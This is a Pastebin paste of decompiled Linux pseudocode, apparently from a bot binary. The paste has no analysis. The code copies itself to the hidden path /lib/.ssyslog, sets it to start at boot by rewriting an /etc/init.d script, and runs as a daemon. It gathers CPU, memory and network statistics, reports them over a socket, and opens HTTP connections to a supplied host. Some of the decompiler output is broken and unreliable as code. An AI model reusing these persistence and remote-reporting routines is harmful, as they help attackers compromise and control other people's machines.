Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- L08048118()
- {
- _unknown_ r1;
- _unknown_ r6;
- _unknown_ _t2;
- __esp = __esp - 4;
- L1();
- _pop(__ebx);
- if( *((intOrPtr*)(_t2 + 679740 + -4)) != 0) {
- 0();
- }
- frame_dummy();
- __do_global_ctors_aux();
- _pop(__eax);
- return;
- }
- L08048124()
- {
- _unknown_ _t2;
- _pop(__ebx);
- if( *((intOrPtr*)(_t2 + 679740 + -4)) != 0) {
- 0();
- }
- frame_dummy();
- __do_global_ctors_aux();
- _pop(__eax);
- _pop(__ebx);
- __esp = __ebp;
- _pop(__ebp);
- return;
- }
- __do_global_dtors_aux(_unknown_ r5)
- {// addr = 0x08048180
- _unknown_ r1;
- _unknown_ r6;
- _unknown_ _t6;
- _unknown_ _t7;
- signed int _t11;
- __esi = __esi;
- if(M080F0C20 != 0) {
- return ;
- }
- __edx = dtor_idx.5253;
- __ebx = (135192612 - &M080EE01C >> 2) - 1;
- if(__edx >= __ebx) {
- L4:
- if(L080581B0 != 0) {
- goto L5;
- }
- L6:
- M080F0C20 = 1;
- return;
- }
- __esi = __esi;
- while(1) {
- _t11 = __edx + 1;
- dtor_idx.5253 = _t11;
- *((intOrPtr*)(_t11 * 4 + &M080EE01C))();
- __edx = dtor_idx.5253;
- if(__edx >= __ebx) {
- break;
- } else {
- continue;
- }
- }
- goto L4;
- L5:
- L080581B0(__edi, __esi, &M080E2954);
- goto L6;
- }
- frame_dummy()
- {// addr = 0x080481F0
- _unknown_ _v12;
- _unknown_ _v16;
- _unknown_ _v20;
- intOrPtr* r6;
- _unknown_ _t6;
- _unknown_ _t7;
- __ebp = __esp;
- __esp = __esp - 24;
- L1();
- _pop(__edx);
- _t7 = _t6 + 679520;
- if(L08056750 != 0) {
- L08056750( &M080E2954, &object.5273, 0, _t7);
- }
- _t5 = M080EE028;
- if(M080EE028 != 0) {
- _t5 = 0;
- if(_t5 != 0) {
- *__esp = &M080EE028;
- *_t5();
- }
- }
- __esp = __ebp;
- return;
- goto L7;
- L7:
- }
- L08048200(_unknown_ r0, intOrPtr* r7, _unknown_ _a8, _unknown_ _a12, _unknown_ _a16)
- {
- _unknown_ _t6;
- _unknown_ _t7;
- __esp = __esp;
- _pop(__edx);
- _t7 = _t6 + 679520;
- if(__eax != 0) {
- L08056750( &M080E2954, &object.5273, 0, _t7);
- }
- _t5 = M080EE028;
- if(M080EE028 != 0) {
- _t5 = 0;
- if(_t5 != 0) {
- *__esp = &M080EE028;
- *_t5();
- }
- }
- __esp = __ebp;
- _pop(__ebp);
- return;
- goto L6;
- L6:
- }
- init_globel()
- {// addr = 0x08048248
- _unknown_ _v20;
- _unknown_ _v24;
- _unknown_ r6;
- _unknown_ _t5;
- _unknown_ _t6;
- send_thread_num = 0;
- IsAttack = 0;
- mem_total = 0;
- mem_free = 0;
- nType = 0;
- L0806F850(__ebx, __edi, __esi, 135223744, 0, 128);
- L0806F9E0(__edi, __esi, 135223744, "/tmp/orbit-gdm11", 17);
- return;
- }
- sig_term(int signo)
- {// addr = 0x080482BA
- _unknown_ r6;
- if(signo != 15) {
- return ;
- }
- *__esp = 0;
- L0805E0C0();
- return;
- }
- int daemon_init()
- {// addr = 0x080482D4
- pid_t pid;
- intOrPtr _v8;
- intOrPtr _v24;
- _unknown_ r6;
- intOrPtr _t8;
- _t8 = L08053170(__eax, __edi, __esi);
- _v8 = _t8;
- if(_v8 >= 0) {
- if(_v8 != 0) {
- goto L3;
- }
- L4:
- _v24 = 0;
- return _v24;
- }
- _v24 = -1;
- return _v24;
- L3:
- *__esp = 0;
- L0805E0C0();
- goto L4;
- }
- copy_myself(const char* name)
- {// addr = 0x0804830F
- char[59] want_to_put_name;
- char[1023] command;
- int exsit_flag;
- intOrPtr _v8;
- char _v68;
- char _v1092;
- char* _v1104;
- _unknown_ _v1108;
- intOrPtr _v1112;
- _unknown_ r6;
- _unknown_ _t31;
- _unknown_ _t33;
- _unknown_ _t35;
- char* _t36;
- _unknown_ _t42;
- _unknown_ _t44;
- _unknown_ _t48;
- L0806F850(__ebx, __edi, __esi, &_v68, 0, 60);
- L0806F9E0(__edi, __esi, &_v68, "/lib/.ssyslog", 14);
- L0806F850(__ebx, __edi, __esi, &_v1092, 0, 1024);
- _v1112 = 0;
- _t36 = &_v68;
- *__esp = _t36;
- L08071490(__ebx, __esp);
- _v8 = _t36;
- if(_v8 >= 0) {
- return ;
- }
- L08071740(__ebx, __esp, &_v68);
- _v1104 = &_v68;
- L0805FF50( &_v1092, "cp -rf %s %s>/dev/null", name);
- *__esp = ?_? ( &_v1092);
- L08052CC0( &_v1092, __ebx, __edi, __esi);
- L0806F850(__ebx, __edi, __esi, &_v1092, 0, 1024);
- L0805FF50( &_v1092, "chmod 755 %s", &_v68);
- *__esp = ?_? ( &_v1092);
- L08052CC0( &_v1092, __ebx, __edi, __esi);
- return;
- }
- update_program_pid()
- {// addr = 0x08048414
- int shmid;
- int now_pid;
- program_type* program_info;
- intOrPtr* _v8;
- intOrPtr _v12;
- intOrPtr _v16;
- _unknown_ _v36;
- _unknown_ _v40;
- _unknown_ r6;
- intOrPtr _t11;
- intOrPtr _t12;
- intOrPtr* _t14;
- _t11 = __eax;
- L080707F0();
- _v12 = _t11;
- _t12 = L08073710(__ebx, __edi, __esi, 3234, 4, 896);
- _v16 = _t12;
- _t14 = L080736A0(__ebx, __edi, __esi, _v16, 0, 0);
- _v8 = _t14;
- L08061340(__ebx, __edi, __esi, "i will update the pid");
- *_v8 = _v12;
- return;
- }
- decide_pid()
- {// addr = 0x08048475
- int shmid;
- unsigned int now_pid;
- program_type* program_info;
- intOrPtr* _v8;
- intOrPtr _v12;
- intOrPtr _v16;
- _unknown_ _v36;
- _unknown_ _v40;
- _unknown_ r6;
- intOrPtr _t11;
- intOrPtr _t12;
- intOrPtr* _t14;
- L080707F0();
- _v12 = _t11;
- _t12 = L08073710(__ebx, __edi, __esi, 3234, 4, 896);
- _v16 = _t12;
- _t14 = L080736A0(__ebx, __edi, __esi, _v16, 0, 0);
- _v8 = _t14;
- if( *_v8 == _v12) {
- return ;
- }
- L08061340(__ebx, __edi, __esi, "i will quit");
- *__esp = 1;
- L0805E0C0();
- return;
- }
- autostart(const char* inser_to_file)
- {// addr = 0x080484E4
- FILE* in;
- FILE* tmp_fp;
- char[1023] readline;
- char[1023] command;
- char[1023] tmp_file;
- char[1023] file_way;
- char[1023] file_insert;
- int tmp;
- int flag;
- char[5] insert_str1;
- char[255] insert_str2;
- char[1023] temp_str;
- intOrPtr _v8;
- char _v12;
- char _v16;
- char* _v20;
- char _v1044;
- char _v2068;
- char _v3092;
- char _v4116;
- char _v5140;
- short _v5142;
- char _v5146;
- char _v5402;
- char _v6426;
- char* _v6448;
- intOrPtr _v6452;
- const char* _v6456;
- _unknown_ r6;
- _unknown_ _t121;
- _unknown_ _t123;
- _unknown_ _t125;
- _unknown_ _t127;
- _unknown_ _t129;
- _unknown_ _t132;
- _unknown_ _t135;
- _unknown_ _t137;
- _unknown_ _t141;
- _unknown_ _t144;
- char* _t145;
- char* _t147;
- _unknown_ _t149;
- _unknown_ _t153;
- _unknown_ _t155;
- _unknown_ _t158;
- _unknown_ _t162;
- _unknown_ _t166;
- _unknown_ _t169;
- _unknown_ _t171;
- char* _t174;
- _unknown_ _t179;
- _unknown_ _t184;
- _unknown_ _t186;
- _unknown_ _t190;
- _v20 = 0;
- _v16 = 0;
- _v8 = 2;
- _v12 = 0;
- L0806F850(__ebx, __edi, __esi, &_v5140, 0, 1024);
- L0806F850(__ebx, __edi, __esi, &_v3092, 0, 1024);
- L0806F850(__ebx, __edi, __esi, &_v4116, 0, 1024);
- L0806F9E0(__edi, __esi, &_v3092, "/tmp/.sendmail", 15);
- L0806F9E0(__edi, __esi, &_v4116, "/etc/init.d/", 13);
- L0806E520( &_v5140, &_v4116);
- _v6456 = inser_to_file;
- *__esp = &_v5140;
- L0806E1B0(__esp);
- L0806F850(__ebx, __edi, __esi, &_v2068, 0, 1024);
- L0805FF50( &_v2068, "cd %s", &_v4116);
- *__esp = ?_? ( &_v2068);
- L08052CC0( &_v2068, __ebx, __edi, __esi);
- *__esp = &_v3092;
- L08071740(__ebx, __esp);
- L0806F850(__ebx, __edi, __esi, &_v1044, 0, 1024);
- _v12 = 0;
- _v6456 = "r";
- _t145 = &_v5140;
- *__esp = _t145;
- L08060B50();
- _v20 = _t145;
- if(_v20 == 0) {
- return ;
- }
- _v6456 = "wb+";
- _t145 = &_v3092;
- *__esp = _t145;
- L08060B50();
- _v16 = _t145;
- if(_v16 == 0) {
- return ;
- }
- while(1) {
- _v6452 = _v20;
- _v6456 = 1024;
- _t147 = &_v1044;
- *__esp = _t147;
- L08060880(__ebx, __edi, __esi);
- __eflags = _t147;
- if(_t147 == 0) {
- break;
- }
- _v12 = _v12 + 1;
- __eflags = _v12 - 2;
- if(_v12 != 2) {
- L7:
- __eflags = _v8 - 1;
- if(__eflags != 0) {
- _t149 = L0806E770(__esp, __eflags, &_v1044);
- L08060D80(__ebx, __edi, __esi, &_v1044, _t149, 1, _v16);
- L0806F850(__ebx, __edi, __esi, &_v1044, 0, 1024);
- continue;
- } else {
- goto L8;
- }
- continue;
- }
- _v5146 = 1869903201;
- _v5142 = 10;
- L0806F850(__ebx, __edi, __esi, &_v5402, 0, 256);
- L0805FF50( &_v5402, "%s\n", "/lib/.ssyslog");
- *__esp = &_v5146;
- _t158 = L0806E770(__esp, __eflags);
- L08060D80(__ebx, __edi, __esi, &_v5146, _t158, 1, _v16);
- *__esp = &_v5402;
- _t162 = L0806E770(__esp, __eflags);
- L08060D80(__ebx, __edi, __esi, &_v5402, _t162, 1, _v16);
- L0806F850(__ebx, __edi, __esi, &_v6426, 0, 1024);
- L0806E520( &_v6426, &_v5146);
- *__esp = &_v6426;
- _t171 = L0806E770(__esp, __eflags);
- *((char*)(__ebp + _t171 - 1 + -6422)) = 0;
- _t174 = L0806E4D0("auto", &_v6426);
- __eflags = _t174;
- if(_t174 != 0) {
- goto L7;
- }
- _v8 = _v8 - 1;
- continue;
- L8:
- _v8 = _v8 - 1;
- }
- L08060220(_v20);
- L08060220(_v16);
- *__esp = &_v5140;
- L08071740(__ebx, __esp);
- L0806F850(__ebx, __edi, __esi, &_v2068, 0, 1024);
- _v6448 = &_v5140;
- L0805FF50( &_v2068, "mv %s %s", &_v3092);
- *__esp = ?_? ( &_v2068);
- L08052CC0( &_v2068, __ebx, __edi, __esi);
- L0806F850(__ebx, __edi, __esi, &_v2068, 0, 1024);
- L0805FF50( &_v2068, "chmod 755 %s", &_v5140);
- *__esp = ?_? ( &_v2068);
- L08052CC0( &_v2068, __ebx, __edi, __esi);
- return;
- }
- int Get_OsVerInfo(char* szOsVerInfo)
- {// addr = 0x08048909
- FILE* fp;
- char[255] szFileBuff;
- size_t bytes_read;
- char* p;
- intOrPtr _v8;
- intOrPtr _v12;
- intOrPtr _v16;
- char _v272;
- intOrPtr _v280;
- intOrPtr _v284;
- intOrPtr _v288;
- intOrPtr _v292;
- intOrPtr _v296;
- _unknown_ r6;
- intOrPtr _t33;
- char* _t35;
- intOrPtr _t39;
- _unknown_ _t41;
- _unknown_ _t45;
- intOrPtr _t47;
- _unknown_ _t49;
- _v16 = 0;
- L08060B50("/etc/issue", "r");
- _v16 = _t33;
- __eflags = _v16;
- if(_v16 != 0) {
- _v288 = _v16;
- _v292 = 256;
- _v296 = 1;
- _t35 = &_v272;
- *__esp = _t35;
- L08060C40(__ebx, __edi, __esi);
- _v12 = _t35;
- L08060220(_v16);
- __eflags = _v12;
- if(_v12 == 0) {
- L4:
- _v284 = 1;
- return _v284;
- } else {
- goto L3;
- }
- goto L3;
- }
- L0806F9E0(__edi, __esi, szOsVerInfo, "null", 5);
- _v284 = 1;
- return _v284;
- L3:
- __eflags = _v12 - 256;
- if(_v12 != 256) {
- _t39 = L0806F4F0(__esp, &_v272, "\n");
- _v8 = _t39;
- *__esp = _v8;
- _t41 = L0806E770(__esp, __eflags);
- __eflags = _t41 - 30;
- if(__eflags > 0) {
- _v280 = 30;
- }
- L8:
- L0806E8E0(szOsVerInfo, _v8, _v280);
- _v284 = 1;
- return _v284;
- } else {
- goto L4;
- }
- goto L4;
- L6:
- _t47 = L0806E770(__esp, __eflags, _v8);
- _v280 = _t47;
- goto L8;
- }
- double Get_CPU_Clock_Speed()
- {// addr = 0x08048A22
- FILE* fp;
- char* match;
- char[10239] buffer;
- size_t bytes_read;
- float clock_speed;
- double _v8;
- double _v12;
- signed int _v16;
- char _v10256;
- char _v10260;
- signed int _v10272;
- char* _v10276;
- char* _v10280;
- _unknown_ r6;
- _unknown_ _t29;
- double _t31;
- _unknown_ _t36;
- double _t38;
- _v16 = 0;
- L08060B50("/proc/cpuinfo", "r");
- _v16 = __eax;
- __eflags = _v16;
- if(_v16 != 0) {
- L0806F850(__ebx, __edi, __esi, &_v10256, 0, 10240);
- _v10272 = _v16;
- _v10276 = 1;
- _v10280 = 10240;
- _t31 = &_v10256;
- *__esp = _t31;
- L08060C40(__ebx, __edi, __esi);
- _v8 = _t31;
- L08060220(_v16);
- __eflags = _v10256 & 255;
- if(__eflags != 0) {
- _t36 = L0806E770(__esp, __eflags, &_v10256);
- *(__ebp + _t36 + -10252) = 0;
- _t38 = L0806F010( &_v10256, &_v10256, "cpu MHz");
- _v12 = _t38;
- __eflags = _v12;
- if(_v12 != 0) {
- _v10276 = &_v10260;
- _v10280 = "cpu MHz : %f";
- _t38 = _v12;
- *__esp = _t38;
- L0805FFB0();
- asm("fld dword [ebp+0xffffd7f0]");
- asm("fstp qword [ebp+0xffffd7e8]");
- } else {
- asm("fldz ");
- asm("fstp qword [ebp+0xffffd7e8]");
- }
- } else {
- asm("fldz ");
- asm("fstp qword [ebp+0xffffd7e8]");
- }
- } else {
- asm("fldz ");
- asm("fstp qword [ebp+0xffffd7e8]");
- }
- asm("fld qword [ebp+0xffffd7e8]");
- return _t38;
- }
- Get_CpuUsage()
- {// addr = 0x08048B34
- size_t len;
- FILE* fp;
- char* szLine;
- long long unsigned int irq;
- long long unsigned int idle;
- long long unsigned int system;
- long long unsigned int iowait;
- long long unsigned int softirq;
- long long unsigned int nice_user;
- long long unsigned int normal_user;
- intOrPtr _v32;
- char _v36;
- char _v40;
- intOrPtr _v48;
- char _v52;
- intOrPtr _v56;
- char _v60;
- intOrPtr _v64;
- char _v68;
- intOrPtr _v72;
- char _v76;
- intOrPtr _v80;
- char _v84;
- intOrPtr _v88;
- char _v92;
- intOrPtr _v96;
- char _v100;
- _unknown_ _v114;
- short _v116;
- int _v120;
- char* _v172;
- char* _v176;
- char* _v180;
- char* _v184;
- char* _v188;
- char* _v192;
- intOrPtr _v196;
- char* _v200;
- char _v204;
- _unknown_ r4;
- _unknown_ r6;
- intOrPtr _t66;
- char _t69;
- _unknown_ _t91;
- _unknown_ _t92;
- _unknown_ _t97;
- _unknown_ _t98;
- _unknown_ _t112;
- _unknown_ _t113;
- _unknown_ _t114;
- _unknown_ _t115;
- _unknown_ _t118;
- intOrPtr _t119;
- _unknown_ _t120;
- intOrPtr _t121;
- _v36 = 0;
- _v32 = 0;
- _v40 = 0;
- _v52 = 0;
- _v48 = 0;
- _v60 = 0;
- _v56 = 0;
- _v68 = 0;
- _v64 = 0;
- _v76 = 0;
- _v72 = 0;
- _v84 = 0;
- _v80 = 0;
- _v92 = 0;
- _v88 = 0;
- _v100 = 0;
- _v96 = 0;
- L08060B50("/proc/stat", "r");
- _v32 = _t66;
- if(_v32 == 0) {
- return ;
- }
- _v196 = _v32;
- _v200 = &_v36;
- _t69 = &_v40;
- *__esp = _t69;
- L08060110();
- if(_t69 != 0) {
- _v172 = &_v84;
- _v176 = &_v52;
- _v180 = &_v76;
- _v184 = &_v60;
- _v188 = &_v68;
- _v192 = &_v92;
- L0805FFB0(_v40, "cpu %Lu %Lu %Lu %Lu %Lu %Lu %Lu", &_v100);
- pre_cpu_total = cpu_total;
- *135203924 = *135203916;
- pre_cpu_total_used = cpu_total_used;
- *135203940 = *135203932;
- asm("adc ebx, edx");
- asm("adc ebx, edx");
- asm("adc ebx, edx");
- asm("adc ebx, edx");
- asm("adc edx, ebx");
- cpu_total_used = _v84 + _v100 + _v92 + _v68 + _v76 + _v52;
- *135203932 = _v80;
- asm("adc edx, ebx");
- cpu_total = cpu_total_used + _v60;
- *135203916 = *135203932;
- asm("sbb edi, edx");
- _t119 = *135203932;
- _push(_t119);
- _push(cpu_total_used - pre_cpu_total_used);
- asm("fild qword [esp]");
- __esp = &_v204;
- asm("fstp tword [ebp+0xffffff78]");
- if(_t119 < 0) {
- goto L4;
- }
- L5:
- asm("fld tword [ebp+0xffffff78]");
- asm("fstp dword [ebp-0x6c]");
- asm("fld dword [ebp-0x6c]");
- asm("fld dword [0x80c9ccc]");
- asm("fmulp st1, st0");
- asm("fstp dword [ebp-0x78]");
- _t108 = cpu_total;
- _t100 = *135203916;
- _t127 = cpu_total - pre_cpu_total;
- asm("sbb edi, edx");
- _t121 = *135203916;
- _push(_t121);
- _push(cpu_total - pre_cpu_total);
- asm("fild qword [esp]");
- __esp = &_v204;
- asm("fstp tword [ebp+0xffffff68]");
- if(_t121 < 0) {
- asm("fld tword [0x80c9cc0]");
- asm("fld tword [ebp+0xffffff68]");
- asm("faddp st1, st0");
- asm("fstp tword [ebp+0xffffff68]");
- }
- asm("fld tword [ebp+0xffffff68]");
- asm("fstp dword [ebp-0x6c]");
- asm("fld dword [ebp-0x6c]");
- asm("fdivr dword [ebp-0x78]");
- asm("fstp qword [esp]");
- L0804F200(__esp);
- asm("fnstcw word [ebp-0x6e]");
- _v116 = 12;
- asm("fldcw word [ebp-0x70]");
- asm("fistp dword [ebp-0x74]");
- asm("fldcw word [ebp-0x6e]");
- cpu_percent_used = _v120;
- if(_v40 != 0) {
- L0806A7B0(_v40, _t100, _t108, _t127, _v40);
- }
- if(_v32 == 0) {
- return ;
- }
- L08060220(_v32);
- return;
- }
- L08060220(_v32);
- return;
- L4:
- asm("fld tword [0x80c9cc0]");
- asm("fld tword [ebp+0xffffff78]");
- asm("faddp st1, st0");
- asm("fstp tword [ebp+0xffffff78]");
- goto L5;
- }
- int SendSevMonitor()
- {// addr = 0x08048DE9
- USESTATEPACK lpPacket;
- long long unsigned int bNetOut;
- long long unsigned int bPacketOut;
- long long unsigned int eNetOut;
- long long unsigned int ePacketOut;
- int nRet;
- int _v24;
- intOrPtr _v28;
- intOrPtr _v32;
- intOrPtr _v36;
- int _v40;
- char _v44;
- long long unsigned int _v48;
- long long unsigned int _v52;
- long long unsigned int _v56;
- long long unsigned int _v60;
- long long unsigned int _v64;
- long long unsigned int _v68;
- long long unsigned int _v72;
- long long unsigned int _v76;
- _unknown_ _v86;
- short _v88;
- intOrPtr _v92;
- intOrPtr _v96;
- intOrPtr _v100;
- _unknown_ _v104;
- char _v108;
- long long unsigned int r1;
- _unknown_ r4;
- _unknown_ r5;
- _unknown_ r6;
- _unknown_ _t46;
- _unknown_ _t47;
- _unknown_ _t48;
- _unknown_ _t59;
- _unknown_ _t61;
- int _t64;
- _unknown_ _t68;
- _unknown_ _t70;
- _unknown_ _t71;
- L0806F910( &_v44, 20);
- _v44 = 226;
- Get_CpuUsage();
- _v40 = cpu_percent_used;
- Get_MemoryUsage();
- _push(mem_free);
- asm("fild dword [esp]");
- __esp = ?_? ( &_v108);
- asm("fld dword [0x80c9ccc]");
- asm("fmulp st1, st0");
- _push(mem_total);
- asm("fild dword [esp]");
- __esp = &_v108 + 4;
- asm("fdivp st1, st0");
- asm("fstp qword [esp]");
- L0804F200(__esp);
- asm("fnstcw word [ebp-0x52]");
- _v88 = 12;
- asm("fldcw word [ebp-0x54]");
- asm("fistp dword [ebp-0x58]");
- asm("fldcw word [ebp-0x52]");
- _v36 = 100 - _v92;
- _v52 = 0;
- _v48 = 0;
- _v60 = 0;
- _v56 = 0;
- _v68 = 0;
- _v64 = 0;
- _v76 = 0;
- _v72 = 0;
- GetNetPackets( &_v52, &_v60);
- L08070250(1);
- GetNetPackets( &_v68, &_v76);
- __ebx = _v64;
- _t78 = _v68 - _v52;
- asm("sbb edi, edx");
- asm("shrd eax, edx, 0xa");
- _v32 = _v68 - _v52;
- _t76 = _v76 - _v60;
- _v28 = _v76 - _v60;
- L08051060(_v76 - _v60, __ebx, _v56, &SocketMutex);
- if(hCSockft <= 0) {
- _v24 = -1;
- } else {
- _v96 = 16384;
- _v100 = 20;
- _t64 = L08052BC0(_t78, hCSockft, &_v44);
- _v24 = _t64;
- }
- *__esp = &SocketMutex;
- L08052080(__ebx, _t76, _t78);
- return _v24;
- }
- int SendServerPack()
- {// addr = 0x08048F6A
- int ret;
- int _v8;
- int _t3;
- _unknown_ _t5;
- _unknown_ _t6;
- _unknown_ _t7;
- _unknown_ _t8;
- while(1) {
- _t3 = SendSevMonitor();
- _v8 = _t3;
- if(_v8 != 255) {
- goto L3;
- } else {
- goto L2;
- }
- }
- }
- Get_MemoryUsage()
- {// addr = 0x08048FC6
- FILE* fp;
- char* szLine;
- int nFree;
- size_t len;
- int nTotal;
- int nCached;
- int nBuffers;
- int nSwapCached;
- int _v8;
- int _v12;
- int _v16;
- char _v20;
- int _v24;
- int _v28;
- int _v32;
- int _v36;
- int _v52;
- char* _v56;
- _unknown_ r6;
- _unknown_ _t70;
- char* _t74;
- _unknown_ _t76;
- _unknown_ _t78;
- _unknown_ _t80;
- _unknown_ _t82;
- _unknown_ _t84;
- _unknown_ _t98;
- _v8 = 0;
- _v12 = 0;
- _v16 = 0;
- _v20 = 0;
- _v24 = 0;
- _v28 = 0;
- _v32 = 0;
- _v36 = 0;
- L08060B50("/proc/meminfo", "r");
- _v8 = __eax;
- if(_v8 == 0) {
- return ;
- }
- while(1) {
- _t70 = L08062AE0(_v8, __ebx, __esi, _v8);
- if(_t70 != 0) {
- break;
- }
- if(_v12 != 0) {
- L0806A7B0(_v12, __ebx, __ecx, __esi, _v12);
- _v12 = 0;
- }
- _v52 = _v8;
- _v56 = &_v20;
- _t74 = &_v12;
- *__esp = _t74;
- L08060110();
- if(_t74 != 0) {
- _t76 = L0806E820(_v12, "MemTotal", 8);
- if(_t76 != 0) {
- _t78 = L0806E820(_v12, "MemFree", 7);
- if(_t78 != 0) {
- _t80 = L0806E820(_v12, "Buffers", 7);
- if(_t80 != 0) {
- _t82 = L0806E820(_v12, "Cached", 6);
- if(_t82 != 0) {
- _t84 = L0806E820(_v12, "SwapCached", 10);
- if(_t84 != 0) {
- goto L18;
- } else {
- goto L16;
- }
- goto L16;
- } else {
- goto L14;
- }
- goto L14;
- L16:
- L0805FFB0(_v12, "SwapCached: %d", &_v36);
- break;
- } else {
- goto L12;
- }
- goto L12;
- L14:
- L0805FFB0(_v12, "Cached: %d", &_v28);
- continue;
- } else {
- goto L10;
- }
- goto L10;
- L12:
- L0805FFB0(_v12, "Buffers: %d", &_v32);
- continue;
- } else {
- goto L8;
- }
- goto L8;
- L10:
- L0805FFB0(_v12, "MemFree: %d", &_v16);
- continue;
- }
- _t98 = L08062AE0(_v8, __ebx, __esi, _v8);
- if(_t98 != 0) {
- continue;
- }
- L08060220(_v8);
- return;
- L18:
- continue;
- L8:
- L0805FFB0(_v12, "MemTotal: %d", &_v24);
- }
- mem_total = _v24;
- mem_free = _v16 + _v32 + _v28 + _v36;
- if(_v12 != 0) {
- L0806A7B0(_v12, __ebx, __ecx, __esi, _v12);
- }
- if(_v8 == 0) {
- return ;
- }
- L08060220(_v8);
- return;
- }
- GetNetPackets(long long unsigned int* lNetOut, long long unsigned int* lPacketOut)
- {// addr = 0x0804920F
- size_t len;
- char* p;
- char* szLine;
- long long unsigned int nouse;
- long long unsigned int nEthIn;
- long long unsigned int nEthOut;
- long long unsigned int nPacketIn;
- long long unsigned int nPacketOut;
- long long unsigned int tEthIn;
- long long unsigned int tEthOut;
- long long unsigned int tPacketIn;
- long long unsigned int tPacketOut;
- FILE* fp;
- intOrPtr _v8;
- long long unsigned int _v16;
- long long unsigned int _v20;
- long long unsigned int _v24;
- long long unsigned int _v28;
- long long unsigned int _v32;
- long long unsigned int _v36;
- long long unsigned int _v40;
- long long unsigned int _v44;
- signed char* _v48;
- char _v52;
- long long unsigned int _v56;
- long long unsigned int _v64;
- char _v68;
- long long unsigned int _v72;
- char _v76;
- long long unsigned int _v80;
- char _v84;
- long long unsigned int _v88;
- char _v92;
- long long unsigned int _v96;
- char _v100;
- char* _v112;
- char* _v116;
- char* _v120;
- char* _v124;
- char* _v128;
- char* _v132;
- char* _v136;
- char* _v140;
- char* _v144;
- _unknown_ _v148;
- _unknown_ _v152;
- _unknown_ r6;
- _unknown_ _t89;
- _unknown_ _t103;
- long long unsigned int* _t118;
- long long unsigned int* _t119;
- _v52 = 0;
- _v48 = 0;
- _v56 = 0;
- _v68 = 0;
- _v64 = 0;
- _v44 = 0;
- _v40 = 0;
- _v36 = 0;
- _v32 = 0;
- _v28 = 0;
- _v24 = 0;
- _v20 = 0;
- _v16 = 0;
- _v76 = 0;
- _v72 = 0;
- _v84 = 0;
- _v80 = 0;
- _v92 = 0;
- _v88 = 0;
- _v100 = 0;
- _v96 = 0;
- L08060B50("/proc/net/dev", "r");
- _v8 = __eax;
- if(_v8 == 0) {
- return ;
- }
- while(1) {
- _t89 = L08062AE0(_v8, __ebx, __esi, _v8);
- if(_t89 != 0) {
- break;
- }
- L08060110( &_v56, &_v52, _v8);
- _v48 = _v56;
- while(( *_v48 & 255) != 0 && ( *_v48 & 255) == 32) {
- _v48 = &(_v48[1]);
- _t103 = L0806E820(_v48, "eth", 3);
- if(_t103 == 0) {
- _v112 = &_v100;
- _v116 = &_v84;
- _v120 = &_v68;
- _v124 = &_v68;
- _v128 = &_v68;
- _v132 = &_v68;
- _v136 = &_v68;
- _v140 = &_v68;
- _v144 = &_v92;
- L0805FFB0(_v48, "%*s %Lu %Lu %Lu %Lu %Lu %Lu %Lu %Lu %Lu %Lu", &_v76);
- }
- }
- }
- _t118 = lNetOut;
- *_t118 = _v36;
- (_t118[0]) = _v32;
- _t119 = lPacketOut;
- *_t119 = _v20;
- (_t119[0]) = _v16;
- L08060220(_v8);
- return;
- }
- int moniter(char* host)
- {// addr = 0x080493F6
- int sockfd;
- int numbytes;
- char[4095] buf;
- char[2] over;
- int i;
- int flag;
- int ret;
- char* start;
- char* end;
- char* tmp;
- char* locate;
- struct hostent* he;
- struct sockaddr_in their_addr;
- fd_set fdsr;
- int maxsock;
- struct timeval tv;
- long unsigned int ul;
- int error;
- int len;
- struct timeval timeout;
- int __d0;
- int __d1;
- int __d0;
- int __d1;
- intOrPtr _v16;
- int _v20;
- intOrPtr _v24;
- int _v28;
- int _v32;
- char* _v36;
- int _v40;
- int _v44;
- int _v48;
- int _v52;
- int _v56;
- int _v60;
- int _v64;
- intOrPtr _v68;
- int _v72;
- char _v4168;
- char _v4170;
- char _v4171;
- intOrPtr _v4184;
- short _v4186;
- char _v4188;
- char _v4316;
- int _v4320;
- char _v4324;
- char _v4328;
- char _v4332;
- char _v4336;
- int _v4340;
- char _v4344;
- int _v4352;
- int _v4364;
- int _v4368;
- int _v4372;
- int _v4376;
- _unknown_ r6;
- _unknown_ _t186;
- char* _t187;
- short _t188;
- int _t194;
- _unknown_ _t199;
- _unknown_ _t204;
- _unknown_ _t206;
- _unknown_ _t208;
- _unknown_ _t210;
- _unknown_ _t212;
- _unknown_ _t214;
- _unknown_ _t216;
- _unknown_ _t218;
- int _t224;
- int _t227;
- _unknown_ _t229;
- _unknown_ _t231;
- _unknown_ _t232;
- _unknown_ _t235;
- int _t238;
- intOrPtr _t241;
- _unknown_ _t243;
- _unknown_ _t247;
- int _t252;
- _unknown_ _t254;
- int _t257;
- int _t260;
- int _t263;
- _unknown_ _t266;
- _unknown_ _t268;
- _unknown_ _t270;
- _unknown_ _t271;
- _unknown_ _t272;
- _unknown_ _t275;
- int _t278;
- int _t281;
- _unknown_ _t282;
- _unknown_ _t283;
- _unknown_ _t284;
- _unknown_ _t285;
- _unknown_ _t286;
- _unknown_ _t287;
- _unknown_ _t290;
- _unknown_ _t294;
- char* _t297;
- char* _t299;
- _v4328 = 1;
- _v64 = 0;
- _v56 = 0;
- _v52 = 0;
- _v48 = 0;
- _v44 = 0;
- _v40 = 0;
- _t187 = host;
- L08075250(_t187);
- _v36 = _t187;
- _v4188 = 2;
- *__esp = 80;
- _t188 = L08075240(__esp);
- _v4186 = _t188;
- _v4184 = *((intOrPtr*)( *(_v36[0x10])));
- _v4376 = 8;
- _t194 = &_v4188 + 8;
- *__esp = _t194;
- L0806F910();
- _v4372 = 0;
- L08073680(0, __esp, 2, 1);
- _v72 = _t194;
- __eflags = _v72 - 255;
- if(_v72 != 255) {
- L08071830(__esp, _v72, 21537, &_v4328);
- _v4332 = -1;
- _v4372 = 16;
- _t199 = L08052AA0(__esi, _v72, &_v4188);
- __eflags = _t199 - 255;
- if(_t199 != 255) {
- L8:
- _v56 = -1;
- goto L9;
- } else {
- goto L3;
- }
- goto L3;
- L9:
- L0805FF20("ret is [%d]\n", _v56);
- __eflags = _v56;
- if(_v56 == 0) {
- _v4328 = 0;
- _v4372 = &_v4328;
- _v4376 = 21537;
- *__esp = _v72;
- L08071830(__esp);
- L0806F850(0, _t296, __esi, &_v4168, 0, 4096);
- _v4376 = "GET / HTTP/1.1
- \n";
- *__esp = &_v4168;
- L0806E1B0(__esp);
- _v4376 = "User-Agent: huituzi-monitor
- \n";
- *__esp = &_v4168;
- L0806E1B0(__esp);
- _v4376 = "Accept: */*
- \n";
- *__esp = &_v4168;
- L0806E1B0(__esp);
- _v4376 = "GET / HTTP/1.1
- \n";
